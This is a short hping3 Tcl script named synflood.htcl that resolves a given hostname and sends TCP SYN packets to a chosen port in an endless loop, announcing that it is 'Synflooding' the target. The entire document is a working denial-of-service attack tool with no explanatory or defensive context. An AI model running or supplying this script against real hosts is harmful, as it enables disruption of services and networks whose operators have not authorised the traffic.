# Usage; hping3 exec ./synflood.htcl
if {$argc < 2} {
puts "Required arguments: hostname dstport"
exit 1
}
foreach {hostname port} $argv break
set srcport 14000
set target [hping resolve $hostname]
set myaddr [hping outifa $target]
puts "Synflooding $target..."
while {1} {
hping send "ip(saddr=$myaddr,daddr=$target)+tcp(sport=$srcport,dport=$port,flags=s)"
}